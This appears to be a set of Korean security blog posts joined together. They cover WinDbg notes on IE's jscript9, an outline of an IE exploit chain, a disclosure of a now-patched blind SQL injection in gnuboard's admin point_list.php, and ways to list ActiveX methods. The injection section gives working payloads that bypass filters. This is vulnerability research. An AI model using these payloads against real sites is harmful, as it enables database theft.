6548f898          jscript9!Js::JavascriptArray::BigIndex::SetItem (<no parameter info>)

6548dff8          jscript9!Js::JavascriptArray::IsDirectAccessArray (<no parameter info>)

6534be75          jscript9!Js::JavascriptArray::Sort (<no parameter info>)

65531508          jscript9!Js::JavascriptArray::EntryInfo::Map = <no type information>

653a6b3e          jscript9!Js::JavascriptArray::EntryIsArray (<no parameter info>)


0:009> x jscript9!JS::JavascriptArray::Get*

0:009> x jscript9!JS::JavascriptArray::Set*





# 하드웨어 bp (access)

- ba w4 0x1f1f0000




# 주소 정보 출력

- 0:009> x jscript9!JS::JavascriptArray::*




# 힙 정보 확인(page heap, stack trace 설정해야 자세히 보임)

- !heap -p -a 0x254a0a12




# 로드된 모듈 정보 출력


0:009> lm

start    end        module name

013a0000 0145c000   iexplore   (deferred)             

04780000 048ac000   Cooxie     (deferred)             

05a80000 05a9e000   iToolsBHO   (deferred)             

63b90000 63d53000   d3d9       (deferred)             

63ec0000 65297000   Flash32_25_0_0_171   (deferred)             

652a0000 65562000   jscript9   (pdb symbols)          C:\Program Files\Windows Kits\10\Debuggers\x86\sym\jscript9.pdb\6E55E6B5AC4B4699BFCF4B58510435202\jscript9.pdb

65570000 656a6000   DWrite     (deferred)             

656b0000 659f7000   d2d1       (deferred)             

65f00000 66cbd000   MSHTML     (pdb symbols)          C:\Program Files\Windows Kits\10\Debuggers\x86\sym\mshtml.pdb\98191859560C471FB6BA0B1D33DAACCB2\mshtml.pdb

66cc0000 679e9000   IEFRAME    (pdb symbols)          C:\Program Files\Window








예전에 activex 취약점을 몇개 찾아서 계산기 실행 poc 작성하며 공부했던 것들을 겸사겸사 정리해 둔다.



일단 보호기법들이 꽤 많은데...


기본적인 Stack Cookie, SafeSEH, SEHOP, DEP/ASLR 외에도 IE 10 이상부터 적용된(또는 2014 년도 보안 패치 이후부터)  


Isolated Heap, Memory Protector(delayed free), VTable Guard, force ASLR 등이 있다.


결론적으로 무조건 다 100% 우회됩니다 라는 건 없지만 info leak 취약점 1개를 추가로 이용하면 대부분은 우회가 가능했다.


이용한 infoleak poc 가  Isolated Heap, Delayed Free 를 우회한 것이라서 stackpivoting -> dynamci rop -> 쉘코드 실행 만으로 공격에 성공했다.


아래 그림은 영문 버전이지만 한글 버전에서도 vtable offset 만 조절해주면 공격이 잘 되는 것을 확인했다.




# 간단 정리


1) crash 발견


2) eip 컨트롤


3) 쉘코드 작성


4) dynamic rop + shellcode 힙스프레이 코드 작성


5) stack pivoting (esp => 쉘코드) 가젯 확인


6) 전체 exploit 코드 작성

    infoleak -> heapspray -> stackpivot -> rop -> shellcode ~!!









끝. 자세한 설명은 나중에 고급강좌에서!


작년 해당 취약점을 발견 후 제보를 했고 패치도 금방 되었다. 이미 1년이 넘게 지났으니 이제 공개해도 될것 같아 공개한다.


사실 관리자 페이지에서 발생하는 취약점이기 때문에 활용도가 크지는 않다.


sst 변수에서 입력값 검증을 하지 않아 발생하는 취약점이며, order by 구문에 삽입이 가능하여 이를 이용한 blindSQL 인젝션이 가능하다.




거짓, po_rel_id 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^1/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id


참, po_point 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^0/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id




블라인드 인젝션이 가능하지만 몇가지 제약사항이 있었다. 


- 띄어쓰기 안됨 => /**/ 로 해결


- 서브쿼리 안됨 => case when 문으로 해결


- ' 안됨 -> 0x41 아스키 구문으로 해결


 ex)  mb_id like 0x%s and mb_password



아래처럼 공격해서 값을 알아낼 수 있다.


http://172.30.1.34/gnuboard/adm/point_list.php?&sst=case/**/when/**/po_content/**/like/**/0x25[아스키값]/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id






'My Exploit' 카테고리의 다른 글

KISA ActiveX 취약점 집중점검 후기  (2) 2014.09.01
Bug Hunting - AkelPad Heap Unicode BufferOverflow  (2) 2013.11.21
메신저 exploit 제작기  (3) 2013.11.06

activex 메소드 확인하는 법


당연히 progid 또는 clsid 는 알고 있어야 한다. 일반적으로 웹 소스 상에서 바로 보는 것은 clsid



1) com/ole viewer 로 확인



2) com raider 로 확인(사실 이제 가장 깔끔한듯. 매뉴얼 퍼징 용도로는..)



3) 프로그래밍


- c 언어로 하면 쉽게 할  수 있으나, python 을 좋아하므로...powershell 을 이용해서 python 으로 하는법(?)



# powershell #


PS C:\Users\hyunmini> $clsid = New-Object Guid 'DC2D84BD-498D-48B1-808C-60236E7FE0C8'

PS C:\Users\hyunmini> $type = [Type]::GetTypeFromCLSID($clsid)

PS C:\Users\hyunmini> $object = [Activator]::CreateInstance($type)

PS C:\Users\hyunmini> $object | get-member



   TypeName: System.__ComObject#{684c87de-557e-4a17-aea5-036ff1eeca95}


Name                MemberType            Definition

----                ----------            ----------

AddFile             Method                void AddFile (string, string)

AddTempFile         Method                void AddTempFile (string, uint, st...

AppendDragDrop      Method                void AppendDragDrop (Variant, string)

AppendFilter        Method                void AppendFilter (Variant, Variant)

AppendPostData      Method                void AppendPostData (Variant, Vari...

ClearDragDrop       Method                void ClearDragDrop ()

ClearFilter         Method                void ClearFilter ()

ClearPostData       Method                void ClearPostData () 

                                ...



# python (-_-;;)


p = subprocess.Popen(

[

"powershell.exe", 

"-command",

"&{ $clsid = New-Object Guid '%s';$type = [Type]::GetTypeFromCLSID($clsid);$object= [Activator]::CreateInstance($type);get-member -inputObject $object; }" % clsid

], stdout=subprocess.PIPE)

p_result, err = p.communicate()

+ Recent posts